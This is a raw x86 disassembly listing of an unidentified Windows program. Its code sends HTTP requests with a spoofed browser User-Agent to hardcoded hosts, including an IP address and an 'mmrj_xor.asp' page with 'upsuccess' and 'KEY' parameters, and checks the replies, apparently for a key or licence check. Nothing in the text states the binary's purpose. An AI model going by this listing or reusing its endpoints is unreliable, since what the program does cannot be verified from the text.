mov eax, str.User_Agent:_Mozilla_5.0__Windows_NT_6.1__Win64__x64__AppleWebKit_537.36__KHTML__like_Gecko__Chrome_41.0.2272.89_Safari_537.36
mov dword [ebp - 0x9c], eax
lea eax, [ebp - 0x9c]
push eax
mov dword [ebp - 0xa0], 0
push 0
lea eax, [ebp - 0xa0]
push eax
mov dword [ebp - 0xa4], 0
push 0
lea eax, [ebp - 0xa4]
push eax
mov dword [ebp - 0xa8], 0
push 0
lea eax, [ebp - 0xa8]
push eax
mov dword [ebp - 0xac], 0
push 0
push dword [ebp - 0xac]
lea eax, [ebp - 0x88]
push eax
call fcn.0040b715
mov dword [ebp - 0xb0], eax
mov ebx, dword [ebp - 0x88]
test ebx, ebx
je 0x4079ad
push ebx
call fcn.00433cf1
add esp, 4
mov ebx, dword [ebp - 0xa8]
test ebx, ebx
je 0x4079c0
push ebx
call fcn.00433cf1
add esp, 4
mov ebx, dword [ebp - 0xa4]
test ebx, ebx
je 0x4079d3
push ebx
call fcn.00433cf1
add esp, 4
mov ebx, dword [ebp - 0xa0]
test ebx, ebx
je 0x4079e6
push ebx
call fcn.00433cf1
add esp, 4
mov ebx, dword [ebp - 0x9c]
test ebx, ebx
je 0x4079f9
push ebx
call fcn.00433cf1
add esp, 4
mov ebx, dword [ebp - 0x98]
test ebx, ebx
je 0x407a0c
push ebx
call fcn.00433cf1
add esp, 4
mov ebx, dword [ebp - 0x90]
test ebx, ebx
je 0x407a1f
push ebx
call fcn.00433cf1
add esp, 4
mov ebx, dword [ebp - 0x8c]
test ebx, ebx
je 0x407a32
push ebx
call fcn.00433cf1
add esp, 4
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0xb0]
test eax, eax
jne 0x407a48
mov eax, 0x524ff1
push eax
push 1
mov ebx, 0x435d20
call fcn.00433ce5
add esp, 0x10
mov dword [ebp - 0xb4], eax
mov ebx, dword [ebp - 0xb0]
test ebx, ebx
je 0x407a74
push ebx
call fcn.00433cf1
add esp, 4
mov eax, dword [ebp - 0xb4]
push eax
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x407a8b
push ebx
call fcn.00433cf1
add esp, 4
pop eax
mov dword [ebp - 0x28], eax
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 1
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.self.location
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x407ac0
mov eax, 0x524f4e
push eax
push 4
mov ebx, 0x4348d0
call fcn.00433ce5
add esp, 0x34
mov dword [ebp - 0x78], eax
cmp dword [ebp - 0x78], 0xffffffff
je 0x407d28
mov dword [ebp - 0x74], 0
push 0
push dword [ebp - 0x74]
mov dword [ebp - 0x78], 0
push 0
push dword [ebp - 0x78]
mov eax, 0x524ff9
mov dword [ebp - 0x7c], eax
lea eax, [ebp - 0x7c]
push eax
mov eax, str.self.location_
mov dword [ebp - 0x80], eax
lea eax, [ebp - 0x80]
push eax
lea eax, [ebp - 0x28]
push eax
call fcn.0040caaf
mov dword [ebp - 0x84], eax
mov ebx, dword [ebp - 0x80]
test ebx, ebx
je 0x407b2f
push ebx
call fcn.00433cf1
add esp, 4
mov ebx, dword [ebp - 0x7c]
test ebx, ebx
je 0x407b3f
push ebx
call fcn.00433cf1
add esp, 4
push dword [ebp - 0x84]
push str.http:__www.mmwzpt.cn
mov ecx, 2
call fcn.0040106f
add esp, 8
mov dword [ebp - 0x88], eax
mov ebx, dword [ebp - 0x84]
test ebx, ebx
je 0x407b70
push ebx
call fcn.00433cf1
add esp, 4
push 1
push 8
mov dword [ebp - 0x8c], 0
push 0
lea eax, [ebp - 0x8c]
push eax
mov dword [ebp - 0x90], 0
push 0
lea eax, [ebp - 0x90]
push eax
mov dword [ebp - 0x94], 0
push 0
push dword [ebp - 0x94]
mov dword [ebp - 0x98], 0
push 0
lea eax, [ebp - 0x98]
push eax
push 1
mov eax, str.User_Agent:_Mozilla_5.0__Windows_NT_6.1__Win64__x64__AppleWebKit_537.36__KHTML__like_Gecko__Chrome_41.0.2272.89_Safari_537.36
mov dword [ebp - 0x9c], eax
lea eax, [ebp - 0x9c]
push eax
mov dword [ebp - 0xa0], 0
push 0
lea eax, [ebp - 0xa0]
push eax
mov dword [ebp - 0xa4], 0
push 0
lea eax, [ebp - 0xa4]
push eax
mov dword [ebp - 0xa8], 0
push 0
lea eax, [ebp - 0xa8]
push eax
mov dword [ebp - 0xac], 0
push 0
push dword [ebp - 0xac]
lea eax, [ebp - 0x88]
push eax
call fcn.0040b715
mov dword [ebp - 0xb0], eax
mov ebx, dword [ebp - 0x88]
test ebx, ebx
je 0x407c46
push ebx
call fcn.00433cf1
add esp, 4
mov ebx, dword [ebp - 0xa8]
test ebx, ebx
je 0x407c59
push ebx
call fcn.00433cf1
add esp, 4
mov ebx, dword [ebp - 0xa4]
test ebx, ebx
je 0x407c6c
push ebx
call fcn.00433cf1
add esp, 4
mov ebx, dword [ebp - 0xa0]
test ebx, ebx
je 0x407c7f
push ebx
call fcn.00433cf1
add esp, 4
mov ebx, dword [ebp - 0x9c]
test ebx, ebx
je 0x407c92
push ebx
call fcn.00433cf1
add esp, 4
mov ebx, dword [ebp - 0x98]
test ebx, ebx
je 0x407ca5
push ebx
call fcn.00433cf1
add esp, 4
mov ebx, dword [ebp - 0x90]
test ebx, ebx
je 0x407cb8
push ebx
call fcn.00433cf1
add esp, 4
mov ebx, dword [ebp - 0x8c]
test ebx, ebx
je 0x407ccb
push ebx
call fcn.00433cf1
add esp, 4
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0xb0]
test eax, eax
jne 0x407ce1
mov eax, 0x524ff1
push eax
push 1
mov ebx, 0x435d20
call fcn.00433ce5
add esp, 0x10
mov dword [ebp - 0xb4], eax
mov ebx, dword [ebp - 0xb0]
test ebx, ebx
je 0x407d0d
push ebx
call fcn.00433cf1
add esp, 4
mov eax, dword [ebp - 0xb4]
push eax
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x407d24
push ebx
call fcn.00433cf1
add esp, 4
pop eax
mov dword [ebp - 0x28], eax
push 0x524f4e
push dword [ebp - 0x28]
call fcn.004021d4
add esp, 8
cmp eax, 0
jne 0x407ef3
push dword [ebp - 0x24]
push 0x52543b
mov ecx, 2
call fcn.0040106f
add esp, 8
mov dword [ebp - 0x74], eax
push 1
push 8
mov dword [ebp - 0x78], 0
push 0
lea eax, [ebp - 0x78]
push eax
mov dword [ebp - 0x7c], 0
push 0
lea eax, [ebp - 0x7c]
push eax
mov dword [ebp - 0x80], 0
push 0
push dword [ebp - 0x80]
mov dword [ebp - 0x84], 0
push 0
lea eax, [ebp - 0x84]
push eax
push 1
mov eax, str.User_Agent:_Mozilla_5.0__Windows_NT_6.1__Win64__x64__AppleWebKit_537.36__KHTML__like_Gecko__Chrome_41.0.2272.89_Safari_537.36
mov dword [ebp - 0x88], eax
lea eax, [ebp - 0x88]
push eax
mov dword [ebp - 0x8c], 0
push 0
lea eax, [ebp - 0x8c]
push eax
mov dword [ebp - 0x90], 0
push 0
lea eax, [ebp - 0x90]
push eax
mov dword [ebp - 0x94], 0
push 0
lea eax, [ebp - 0x94]
push eax
mov dword [ebp - 0x98], 0
push 0
push dword [ebp - 0x98]
lea eax, [ebp - 0x74]
push eax
call fcn.0040b715
mov dword [ebp - 0x9c], eax
mov ebx, dword [ebp - 0x74]
test ebx, ebx
je 0x407e17
push ebx
call fcn.00433cf1
add esp, 4
mov ebx, dword [ebp - 0x94]
test ebx, ebx
je 0x407e2a
push ebx
call fcn.00433cf1
add esp, 4
mov ebx, dword [ebp - 0x90]
test ebx, ebx
je 0x407e3d
push ebx
call fcn.00433cf1
add esp, 4
mov ebx, dword [ebp - 0x8c]
test ebx, ebx
je 0x407e50
push ebx
call fcn.00433cf1
add esp, 4
mov ebx, dword [ebp - 0x88]
test ebx, ebx
je 0x407e63
push ebx
call fcn.00433cf1
add esp, 4
mov ebx, dword [ebp - 0x84]
test ebx, ebx
je 0x407e76
push ebx
call fcn.00433cf1
add esp, 4
mov ebx, dword [ebp - 0x7c]
test ebx, ebx
je 0x407e86
push ebx
call fcn.00433cf1
add esp, 4
mov ebx, dword [ebp - 0x78]
test ebx, ebx
je 0x407e96
push ebx
call fcn.00433cf1
add esp, 4
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x9c]
test eax, eax
jne 0x407eac
mov eax, 0x524ff1
push eax
push 1
mov ebx, 0x435d20
call fcn.00433ce5
add esp, 0x10
mov dword [ebp - 0xa0], eax
mov ebx, dword [ebp - 0x9c]
test ebx, ebx
je 0x407ed8
push ebx
call fcn.00433cf1
add esp, 4
mov eax, dword [ebp - 0xa0]
push eax
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x407eef
push ebx
call fcn.00433cf1
add esp, 4
pop eax
mov dword [ebp - 0x28], eax
push 0x524f4e
push dword [ebp - 0x28]
call fcn.004021d4
add esp, 8
cmp eax, 0
jne 0x4080c3
call fcn.004139c9
push dword [ebp - 0x24]
push str.http:__180.169.17.194_mmrj_xor.asp_ActionupsuccessKEY
mov ecx, 2
call fcn.0040106f
add esp, 8
mov dword [ebp - 0x74], eax
push 1
push 8
mov dword [ebp - 0x78], 0
push 0
lea eax, [ebp - 0x78]
push eax
mov dword [ebp - 0x7c], 0
push 0
lea eax, [ebp - 0x7c]
push eax
mov dword [ebp - 0x80], 0
push 0
push dword [ebp - 0x80]
mov dword [ebp - 0x84], 0
push 0
lea eax, [ebp - 0x84]
push eax
push 1
mov eax, str.User_Agent:_Mozilla_5.0__Windows_NT_6.1__Win64__x64__AppleWebKit_537.36__KHTML__like_Gecko__Chrome_41.0.2272.89_Safari_537.36
mov dword [ebp - 0x88], eax
lea eax, [ebp - 0x88]
push eax
mov dword [ebp - 0x8c], 0
push 0
lea eax, [ebp - 0x8c]
push eax
mov dword [ebp - 0x90], 0
push 0
lea eax, [ebp - 0x90]
push eax
mov dword [ebp - 0x94], 0
push 0
lea eax, [ebp - 0x94]
push eax
mov dword [ebp - 0x98], 0
push 0
push dword [ebp - 0x98]
lea eax, [ebp - 0x74]
push eax
call fcn.0040b715
mov dword [ebp - 0x9c], eax
mov ebx, dword [ebp - 0x74]
test ebx, ebx
je 0x407fe7
push ebx
call fcn.00433cf1
add esp, 4
mov ebx, dword [ebp - 0x94]
test ebx, ebx
je 0x407ffa
push ebx
call fcn.00433cf1
add esp, 4
mov ebx, dword [ebp - 0x90]
test ebx, ebx
je 0x40800d
push ebx
call fcn.00433cf1
add esp, 4
mov ebx, dword [ebp - 0x8c]
test ebx, ebx
je 0x408020
push ebx
call fcn.00433cf1
add esp, 4
mov ebx, dword [ebp - 0x88]
test ebx, ebx
je 0x408033
push ebx
call fcn.00433cf1
add esp, 4
mov ebx, dword [ebp - 0x84]
test ebx, ebx
je 0x408046
push ebx
call fcn.00433cf1
add esp, 4
mov ebx, dword [ebp - 0x7c]
test ebx, ebx
je 0x408056
push ebx
call fcn.00433cf1
add esp, 4
mov ebx, dword [ebp - 0x78]
test ebx, ebx
je 0x408066
push ebx
call fcn.00433cf1
add esp, 4
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x9c]
test eax, eax
jne 0x40807c
mov eax, 0x524ff1
push eax
push 1
mov ebx, 0x435d20
call fcn.00433ce5
add esp, 0x10
mov dword [ebp - 0xa0], eax
mov ebx, dword [ebp - 0x9c]
test ebx, ebx
je 0x4080a8
push ebx
call fcn.00433cf1
add esp, 4
mov eax, dword [ebp - 0xa0]
push eax
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x4080bf
push ebx
call fcn.00433cf1
add esp, 4
pop eax
mov dword [ebp - 0x28], eax
push 0x524f4e
push dword [ebp - 0x28]
call fcn.004021d4
add esp, 8
cmp eax, 0
jne 0x40828e
push dword [ebp - 0x24]
push str.http:__www.mmtp.com.cn_mmrj_xor.asp_ActionupsuccessKEY
mov ecx, 2
call fcn.0040106f
add esp, 8
mov dword [ebp - 0x74], eax
push 1
push 8
mov dword [ebp - 0x78], 0
push 0
lea eax, [ebp - 0x78]
push eax
mov dword [ebp - 0x7c], 0
push 0
lea eax, [ebp - 0x7c]
push eax
mov dword [ebp - 0x80], 0
push 0
push dword [ebp - 0x80]
mov dword [ebp - 0x84], 0
push 0
lea eax, [ebp - 0x84]
push eax
push 1
mov eax, str.User_Agent:_Mozilla_5.0__Windows_NT_6.1__Win64__x64__AppleWebKit_537.36__KHTML__like_Gecko__Chrome_41.0.2272.89_Safari_537.36
mov dword [ebp - 0x88], eax
lea eax, [ebp - 0x88]
push eax
mov dword [ebp - 0x8c], 0
push 0
lea eax, [ebp - 0x8c]
push eax
mov dword [ebp - 0x90], 0
push 0
lea eax, [ebp - 0x90]
push eax
mov dword [ebp - 0x94], 0
push 0
lea eax, [ebp - 0x94]
push eax
mov dword [ebp - 0x98], 0
push 0
push dword [ebp - 0x98]
lea eax, [ebp - 0x74]
push eax
call fcn.0040b715
mov dword [ebp - 0x9c], eax
mov ebx, dword [ebp - 0x74]
test ebx, ebx
je 0x4081b2
push ebx
call fcn.00433cf1
add esp, 4
mov ebx, dword [ebp - 0x94]
test ebx, ebx
je 0x4081c5
push ebx
call fcn.00433cf1
add esp, 4
mov ebx, dword [ebp - 0x90]
test ebx, ebx
je 0x4081d8
push ebx
call fcn.00433cf1
add esp, 4
mov ebx, dword [ebp - 0x8c]
test ebx, ebx
je 0x4081eb
push ebx
call fcn.00433cf1
add esp, 4
mov ebx, dword [ebp - 0x88]
test ebx, ebx
je 0x4081fe
push ebx
call fcn.00433cf1
add esp, 4
mov ebx, dword [ebp - 0x84]
test ebx, ebx
je 0x408211
push ebx
call fcn.00433cf1
add esp, 4
mov ebx, dword [ebp - 0x7c]
test ebx, ebx
je 0x408221
push ebx
call fcn.00433cf1
add esp, 4
mov ebx, dword [ebp - 0x78]
test ebx, ebx
je 0x408231
push ebx
call fcn.00433cf1
add esp, 4
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x9c]
test eax, eax
jne 0x408247
mov eax, 0x524ff1
push eax
push 1
mov ebx, 0x435d20
call fcn.00433ce5
add esp, 0x10
mov dword [ebp - 0xa0], eax
mov ebx, dword [ebp - 0x9c]
test ebx, ebx
je 0x408273
push ebx
call fcn.00433cf1
add esp, 4
mov eax, dword [ebp - 0xa0]
push eax
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x40828a
push ebx
call fcn.00433cf1
add esp, 4
pop eax
mov dword [ebp - 0x28], eax
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x525597
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x4082bf
mov eax, 0x524f4e
push eax
push 4
mov ebx, 0x4348d0
call fcn.00433ce5
add esp, 0x34
mov dword [ebp - 0x78], eax
cmp dword [ebp - 0x78], 0xffffffff
jne 0x40842b
call fcn.004139c9
push 0
mov ebx, 0x436480
call fcn.00433ce5
add esp, 4
push reloc.WS2_32.dll_closesocket
push edx
push eax
push 1
mov ebx, 0x4363b0
call fcn.00433ce5
add esp, 0x10
mov dword [ebp - 0x7c], eax
push 0x80000601
push 0x40000000
push 0
fild dword [ebp - 0x7c]
fstp qword [ebp - 0x84]
push 0x80000601
push dword [ebp - 0x80]
push dword [ebp - 0x84]
push 2
mov ebx, 0x434000
call fcn.00433ce5
add esp, 0x1c
mov dword [ebp - 0x94], eax
mov dword [ebp - 0x90], edx
fld qword [ebp - 0x94]
ftst
fnstsw ax
test ah, 1
je 0x408367
fchs
fcomp qword [0x52531c]
fnstsw ax
test ah, 0x41
je 0x408426
inc dword [0x5ffc8c]
fild dword [0x5ffc88]
fstp qword [ebp - 0x78]
fld qword [ebp - 0x78]
fild dword [0x5ffc74]
fstp qword [ebp - 0x80]
fadd qword [ebp - 0x80]
fstp qword [ebp - 0x88]
fld qword [ebp - 0x88]
call fcn.00401460
mov dword [0x5ffc88], eax
push 0x80000301
push 0
push dword [0x5ffc88]
push 1
mov ebx, 0x435d20
call fcn.00433ce5
add esp, 0x10
mov dword [ebp - 0x74], eax
push 0
push dword [ebp - 0x74]
push 0xffffffffffffffff
push 8
push 0x16019850
push 0x52010001
call fcn.00433d09
add esp, 0x18
mov ebx, dword [ebp - 0x74]
test ebx, ebx
je 0x4083f9
push ebx
call fcn.00433cf1
add esp, 4
push reloc.WS2_32.dll_connect
push 0
push 0x52559b
push 0x10005
push 0x16010003
push 0x52010001
push 2
mov ebx, 0x437530
call fcn.00433ce5
add esp, 0x1c
jmp 0x40b255
push str.Atimeerr
push dword [ebp - 0x28]
call fcn.004021d4
add esp, 8
cmp eax, 0
jne 0x408476
push reloc.WS2_32.dll_connect
push 0
push 0x5255b8
push 0x10005
push 0x16010003
push 0x52010001
push 2
mov ebx, 0x437530
call fcn.00433ce5
add esp, 0x1c
jmp 0x40b255
mov dword [0x5ffc8c], 0
mov dword [0x5ffc88], 0
push 0x80000301
push 0
push dword [0x5ffc88]
push 1
mov ebx, 0x435d20
call fcn.00433ce5
add esp, 0x10
mov dword [ebp - 0x74], eax
push 0
push dword [ebp - 0x74]
push 0xffffffffffffffff
push 8
push 0x16019850
push 0x52010001
call fcn.00433d09
add esp, 0x18
mov ebx, dword [ebp - 0x74]
test ebx, ebx
je 0x4084d7
push ebx
call fcn.00433cf1
add esp, 4
mov dword [ebp - 0x74], 0
push 0
push dword [ebp - 0x74]
mov dword [ebp - 0x78], 0
push 0
push dword [ebp - 0x78]
mov eax, 0x525607
mov dword [ebp - 0x7c], eax
lea eax, [ebp - 0x7c]
push eax
mov eax, 0x525597
mov dword [ebp - 0x80], eax
lea eax, [ebp - 0x80]
push eax
lea eax, [ebp - 0x28]
push eax
call fcn.0040caaf
mov dword [ebp - 0x84], eax
mov ebx, dword [ebp - 0x80]
test ebx, ebx
je 0x408526
push ebx
call fcn.00433cf1
add esp, 4
mov ebx, dword [ebp - 0x7c]
test ebx, ebx
je 0x408536
push ebx
call fcn.00433cf1
add esp, 4
mov eax, dword [ebp - 0x84]
push eax
mov ebx, dword [ebp - 0x2c]
test ebx, ebx
je 0x40854d
push ebx
call fcn.00433cf1
add esp, 4
pop eax
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x74], 0
push 0
push dword [ebp - 0x74]
mov dword [ebp - 0x78], 0
push 0
push dword [ebp - 0x78]
mov eax, 0x52539a
mov dword [ebp - 0x7c], eax
lea eax, [ebp - 0x7c]
push eax
mov eax, 0x525607
mov dword [ebp - 0x80], eax
lea eax, [ebp - 0x80]
push eax
lea eax, [ebp - 0x28]
push eax
call fcn.0040caaf
mov dword [ebp - 0x84], eax
mov ebx, dword [ebp - 0x80]
test ebx, ebx
je 0x4085a0
push ebx
call fcn.00433cf1
add esp, 4
mov ebx, dword [ebp - 0x7c]
test ebx, ebx
je 0x4085b0
push ebx
call fcn.00433cf1
add esp, 4
mov eax, dword [ebp - 0x84]
push eax
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x4085c7
push ebx
call fcn.00433cf1
add esp, 4
pop eax
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x74], 0
push 0
push dword [ebp - 0x74]
mov dword [ebp - 0x78], 0
push 0
push dword [ebp - 0x78]
mov eax, 0x52560b
mov dword [ebp - 0x7c], eax
lea eax, [ebp - 0x7c]
push eax
mov eax, 0x52539a
mov dword [ebp - 0x80], eax
lea eax, [ebp - 0x80]
push eax
lea eax, [ebp - 0x28]
push eax
call fcn.0040caaf
mov dword [ebp - 0x84], eax
mov ebx, dword [ebp - 0x80]
test ebx, ebx
je 0x40861a
push ebx
call fcn.00433cf1
add esp, 4
mov ebx, dword [ebp - 0x7c]
test ebx, ebx
je 0x40862a
push ebx
call fcn.00433cf1
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x84]
test eax, eax
jne 0x408640
mov eax, 0x524f4e
push eax
push 1
mov ebx, 0x434b20
call fcn.00433ce5
add esp, 0x10
mov dword [ebp - 0x8c], eax
mov dword [ebp - 0x88], edx
mov ebx, dword [ebp - 0x84]
test ebx, ebx
je 0x408672
push ebx
call fcn.00433cf1
add esp, 4
push 0x80000601
push dword [ebp - 0x88]
push dword [ebp - 0x8c]
push 1
mov ebx, 0x434d80
call fcn.00433ce5
add esp, 0x10
mov dword [0x5ffc9c], eax
mov dword [ebp - 0x74], 0
push 0
push dword [ebp - 0x74]
mov dword [ebp - 0x78], 0
push 0
push dword [ebp - 0x78]
mov eax, 0x52560f
mov dword [ebp - 0x7c], eax
lea eax, [ebp - 0x7c]
push eax
mov eax, 0x52560b
mov dword [ebp - 0x80], eax
lea eax, [ebp - 0x80]
push eax
lea eax, [ebp - 0x28]
push eax
call fcn.0040caaf
mov dword [ebp - 0x84], eax
mov ebx, dword [ebp - 0x80]
test ebx, ebx
je 0x4086e9
push ebx
call fcn.00433cf1
add esp, 4
mov ebx, dword [ebp - 0x7c]
test ebx, ebx
je 0x4086f9
push ebx
call fcn.00433cf1
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x84]
test eax, eax
jne 0x40870f
mov eax, 0x524f4e
push eax
push 1
mov ebx, 0x434d80
call fcn.00433ce5
add esp, 0x10
mov dword [ebp - 0x88], eax
mov ebx, dword [ebp - 0x84]
test ebx, ebx
je 0x40873b
push ebx
call fcn.00433cf1
add esp, 4
mov eax, dword [ebp - 0x88]
mov dword [0x5ffca0], eax
mov dword [ebp - 0x74], 0
push 0
push dword [ebp - 0x74]
mov dword [ebp - 0x78], 0
push 0
push dword [ebp - 0x78]
mov eax, 0x525613
mov dword [ebp - 0x7c], eax
lea eax, [ebp - 0x7c]
push eax
mov eax, 0x52560f
mov dword [ebp - 0x80], eax
lea eax, [ebp - 0x80]
push eax
lea eax, [ebp - 0x28]
push eax
call fcn.0040caaf
mov dword [ebp - 0x84], eax
mov ebx, dword [ebp - 0x80]
test ebx, ebx
je 0x408795
push ebx
call fcn.00433cf1
add esp, 4
mov ebx, dword [ebp - 0x7c]
test ebx, ebx
je 0x4087a5
push ebx
call fcn.00433cf1
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x84]
test eax, eax
jne 0x4087bb
mov eax, 0x524f4e
push eax
push 1
mov ebx, 0x434d80
call fcn.00433ce5
add esp, 0x10
mov dword [ebp - 0x88], eax
mov ebx, dword [ebp - 0x84]
test ebx, ebx
je 0x4087e7
push ebx
call fcn.00433cf1
add esp, 4
mov eax, dword [ebp - 0x88]
mov dword [0x5ffca4], eax
mov dword [ebp - 0x74], 0
push 0
push dword [ebp - 0x74]
mov dword [ebp - 0x78], 0
push 0
push dword [ebp - 0x78]
mov eax, 0x525617
mov dword [ebp - 0x7c], eax
lea eax, [ebp - 0x7c]
push eax
mov eax, 0x525613
mov dword [ebp - 0x80], eax
lea eax, [ebp - 0x80]
push eax
lea eax, [ebp - 0x28]
push eax
call fcn.0040caaf
mov dword [ebp - 0x84], eax
mov ebx, dword [ebp - 0x80]
test ebx, ebx
je 0x408841
push ebx
call fcn.00433cf1
add esp, 4
mov ebx, dword [ebp - 0x7c]
test ebx, ebx
je 0x408851
push ebx
call fcn.00433cf1
add esp, 4
mov eax, dword [ebp - 0x84]
push eax
mov ebx, dword [0x5ffca8]
test ebx, ebx
je 0x40886b
push ebx
call fcn.00433cf1
add esp, 4
pop eax
mov dword [0x5ffca8], eax
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 1
mov ebx, 6
call fcn.00402374
push reloc.WS2_32.dll_connect
push 0
push 0x52561b
push reloc.WS2_32.dll_connect
push 0
push 0x52561d
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [0x5ffca8]
test eax, eax
jne 0x4088b4
mov eax, 0x524f4e
push eax
push 6
mov ebx, 0x435170
call fcn.00433ce5
add esp, 0x4c
mov dword [ebp - 0x74], eax
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 1
mov ebx, 6
call fcn.00402374
push reloc.WS2_32.dll_connect
push 0
push 0x5253a3
push reloc.WS2_32.dll_connect
push 0
push 0x525623
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x74]
test eax, eax
jne 0x40890b
mov eax, 0x524f4e
push eax
push 6
mov ebx, 0x435170
call fcn.00433ce5
add esp, 0x4c
mov dword [ebp - 0x78], eax
mov ebx, dword [ebp - 0x74]
test ebx, ebx
je 0x408931
push ebx
call fcn.00433cf1
add esp, 4
mov eax, dword [ebp - 0x78]
push eax
mov ebx, dword [0x5ffca8]
test ebx, ebx
je 0x408948
push ebx
call fcn.00433cf1
add esp, 4
pop eax
mov dword [0x5ffca8], eax
mov dword [ebp - 0x74], 0
push 0
push dword [ebp - 0x74]
mov dword [ebp - 0x78], 0
push 0
push dword [ebp - 0x78]
mov eax, 0x525626
mov dword [ebp - 0x7c], eax
lea eax, [ebp - 0x7c]
push eax
mov eax, 0x525617
mov dword [ebp - 0x80], eax
lea eax, [ebp - 0x80]
push eax
lea eax, [ebp - 0x28]
push eax
call fcn.0040caaf
mov dword [ebp - 0x84], eax
mov ebx, dword [ebp - 0x80]
test ebx, ebx
je 0x40899d
push ebx
call fcn.00433cf1
add esp, 4
mov ebx, dword [ebp - 0x7c]
test ebx, ebx
je 0x4089ad
push ebx
call fcn.00433cf1
add esp, 4
mov eax, dword [ebp - 0x84]
push eax
mov ebx, dword [0x5ffcac]
test ebx, ebx
je 0x4089c7
push ebx
call fcn.00433cf1
add esp, 4
pop eax
mov dword [0x5ffcac], eax
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 1
mov ebx, 6
call fcn.00402374
push reloc.WS2_32.dll_connect
push 0
push 0x52561b
push reloc.WS2_32.dll_connect
push 0
push 0x52561d
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [0x5ffcac]
test eax, eax
jne 0x408a10
mov eax, 0x524f4e
push eax
push 6
mov ebx, 0x435170
call fcn.00433ce5
add esp, 0x4c
mov dword [ebp - 0x74], eax
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 1
mov ebx, 6
call fcn.00402374
push reloc.WS2_32.dll_connect
push 0
push 0x5253a3
push reloc.WS2_32.dll_connect
push 0
push 0x525623
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x74]
test eax, eax
jne 0x408a67
mov eax, 0x524f4e
push eax
push 6
mov ebx, 0x435170
call fcn.00433ce5
add esp, 0x4c
mov dword [ebp - 0x78], eax
mov ebx, dword [ebp - 0x74]
test ebx, ebx
je 0x408a8d
push ebx
call fcn.00433cf1
add esp, 4
mov eax, dword [ebp - 0x78]
push eax
mov ebx, dword [0x5ffcac]
test ebx, ebx
je 0x408aa4
push ebx
call fcn.00433cf1
add esp, 4
pop eax
mov dword [0x5ffcac], eax
mov dword [ebp - 0x74], 0
push 0
push dword [ebp - 0x74]
mov dword [ebp - 0x78], 0
push 0
push dword [ebp - 0x78]
mov eax, 0x52562a
mov dword [ebp - 0x7c], eax
lea eax, [ebp - 0x7c]
push eax
mov eax, 0x525626
mov dword [ebp - 0x80], eax
lea eax, [ebp - 0x80]
push eax
lea eax, [ebp - 0x28]
push eax
call fcn.0040caaf
mov dword [ebp - 0x84], eax
mov ebx, dword [ebp - 0x80]
test ebx, ebx
je 0x408af9
push ebx
call fcn.00433cf1
add esp, 4
mov ebx, dword [ebp - 0x7c]
test ebx, ebx
je 0x408b09
push ebx
call fcn.00433cf1
add esp, 4
push 0
push dword [ebp - 0x84]
push 0xffffffffffffffff
push 8
push 0x160100e8
push 0x52010001
call fcn.00433d09
add esp, 0x18
mov ebx, dword [ebp - 0x84]
test ebx, ebx
je 0x408b3a
push ebx
call fcn.00433cf1
add esp, 4
mov dword [ebp - 0x74], 0
push 0
push dword [ebp - 0x74]
mov dword [ebp - 0x78], 0
push 0
push dword [ebp - 0x78]
mov eax, 0x52562e
mov dword [ebp - 0x7c], eax
lea eax, [ebp - 0x7c]
push eax
mov eax, 0x52562a
mov dword [ebp - 0x80], eax
lea eax, [ebp - 0x80]
push eax
lea eax, [ebp - 0x28]
push eax
call fcn.0040caaf
mov dword [ebp - 0x84], eax
mov ebx, dword [ebp - 0x80]
test ebx, ebx
je 0x408b89
push ebx
call fcn.00433cf1
add esp, 4
mov ebx, dword [ebp - 0x7c]
test ebx, ebx
je 0x408b99
push ebx
call fcn.00433cf1
add esp, 4
push 0
push dword [ebp - 0x84]
push 0xffffffffffffffff
push 8
push 0x160198cf
push 0x52010001
call fcn.00433d09
add esp, 0x18
mov ebx, dword [ebp - 0x84]
test ebx, ebx
je 0x408bca
push ebx
call fcn.00433cf1
add esp, 4
mov dword [ebp - 0x74], 0
push 0
push dword [ebp - 0x74]
mov dword [ebp - 0x78], 0
push 0
push dword [ebp - 0x78]
mov eax, 0x525632
mov dword [ebp - 0x7c], eax
lea eax, [ebp - 0x7c]
push eax
mov eax, 0x52562e
mov dword [ebp - 0x80], eax
lea eax, [ebp - 0x80]
push eax
lea eax, [ebp - 0x28]
push eax
call fcn.0040caaf
mov dword [ebp - 0x84], eax
mov ebx, dword [ebp - 0x80]
test ebx, ebx
je 0x408c19
push ebx
call fcn.00433cf1
add esp, 4
mov ebx, dword [ebp - 0x7c]
test ebx, ebx
je 0x408c29
push ebx
call fcn.00433cf1
add esp, 4
mov eax, dword [ebp - 0x84]
push eax
mov ebx, dword [ebp - 0x34]
test ebx, ebx
je 0x408c40
push ebx
call fcn.00433cf1
add esp, 4
pop eax
mov dword [ebp - 0x34], eax
push reloc.OLEAUT32.dll_SysReAllocString
push 0
